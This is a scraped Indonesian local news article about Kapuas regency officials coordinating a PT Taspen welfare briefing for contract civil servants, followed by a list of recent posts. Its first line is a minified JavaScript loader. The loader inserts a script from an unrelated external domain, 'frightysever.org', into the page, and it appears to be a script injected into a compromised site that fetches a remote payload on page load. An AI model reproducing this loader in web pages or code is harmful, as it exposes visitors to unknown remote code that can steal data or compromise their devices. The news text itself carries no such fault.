(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen


KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) di ruang rapat Sekretariat Daerah Kabupaten Kapuas, Kamis (15/1/2026).

Kegiatan tersebut untuk mempersiapkan pelaksanaan bersama lintas perangkat daerah dipimpin Staf Ahli Bupati Kapuas Bidang Kemasyarakatan dan Sumber Daya Manusia, Budi Kurniawan.

Budi Kurniawan menekankan bahwa sosialisasi PT Taspen bukan sekadar agenda rutin. Dia menyebut, kegiatan ini menyangkut pemahaman mendasar PPPK terhadap hak, kewajiban, serta program jaminan kesejahteraan yang akan mereka terima.

Baca juga: Demo Tolak Pilkada Melalui DPRD di Banjarmasin Diwarnai Ricuh

“Koordinasi menjadi kunci. Materi yang disampaikan harus jelas dan utuh, agar tidak menimbulkan kesalahpahaman di kemudian hari,” ujarnya.

Menurut Budi, kebijakan terbaru PT Taspen berkaitan langsung dengan status kepegawaian PPPK. Karena itu, seluruh perangkat daerah diminta menyiapkan diri secara matang, mulai dari substansi materi hingga teknis pelaksanaan sosialisasi.

Rapat koordinasi ini dihadiri Kepala Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) Kabupaten Kapuas, perwakilan Badan Keuangan dan Aset Daerah (BKAD), Bagian Tata Pemerintahan, serta Bagian Umum Sekretariat Daerah Kabupaten Kapuas.

Baca juga: Pansus DPRD Kapuas Kecewa, Sekda dan Kadis PUPR Absen Bahas LHP BPK RI

Melalui pertemuan tersebut, Pemkab Kapuas berharap terbangun sinergi yang solid antar perangkat daerah. Tujuannya satu memastikan informasi PT Taspen dapat diterima PPPK penuh waktu secara menyeluruh, akurat, dan mudah dipahami.

Komitmen ini menjadi bagian dari upaya berkelanjutan Pemkab Kapuas dalam meningkatkan kualitas pelayanan kepada aparatur pemerintah.

Bagi pemerintah daerah, PPPK bukan sekadar pelaksana tugas, melainkan aset sumber daya manusia yang perlu dijaga profesionalisme dan kesejahteraan. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

2 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

10 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

13 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

23 jam ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

23 jam ago

Demo Tolak Pilkada Melalui DPRD di Banjarmasin Diwarnai Ricuh

Tiga Mahasiswa Dilarikan ke Rumah Sakit Read More

24 jam ago

This website uses cookies.